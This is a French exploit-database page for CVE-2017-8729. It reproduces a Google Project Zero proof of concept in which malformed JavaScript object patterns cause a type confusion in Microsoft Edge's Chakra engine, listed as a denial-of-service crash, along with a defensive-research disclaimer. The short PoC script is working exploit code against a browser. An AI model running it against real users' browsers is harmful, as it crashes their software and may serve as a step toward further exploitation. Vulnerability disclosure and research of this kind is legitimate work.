Exploit matérialisé
CVE-2017-8729
HIGH1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB
dos windows Vérifié
Source
Microsoft Edge - Chakra Incorrectly Parses Object Patterns
Par Google Security Research
Comment tester cet exploit
Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.
Code html
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1308
When the Chakra's parser meets "{", at first, Chakra treats it as an object literal without distinguishing whether it will be an object literal(i.e., {a: 0x1234}) or an object pattern(i.e., {a} = {a: 1234}). After finishing to parse it using "Parser::ParseTerm", if it's an object pattern, Chakra converts it to an object pattern using the "ConvertObjectToObjectPattern" method.
The problem is that "Parser::ParseTerm" also parses ".", etc. using "ParsePostfixOperators" without proper checks. As a result, an invalid syntax(i.e., {b = 0x1111...}.c) can be parsed and "ConvertObjectToObjectPattern" will fail to convert it to an object pattern.
In the following PoC, "ConvertObjectToObjectPattern" skips "{b = 0x1111...}.c". So the object literal will have incorrect members(b = 0x1111, c = 0x2222), this leads to type confusion(Chakra will think "c" is a setter and try to call it).
PoC:
-->
function f() {
({
a: {
b = 0x1111,
c = 0x2222,
}.c = 0x3333
} = {});
}
f();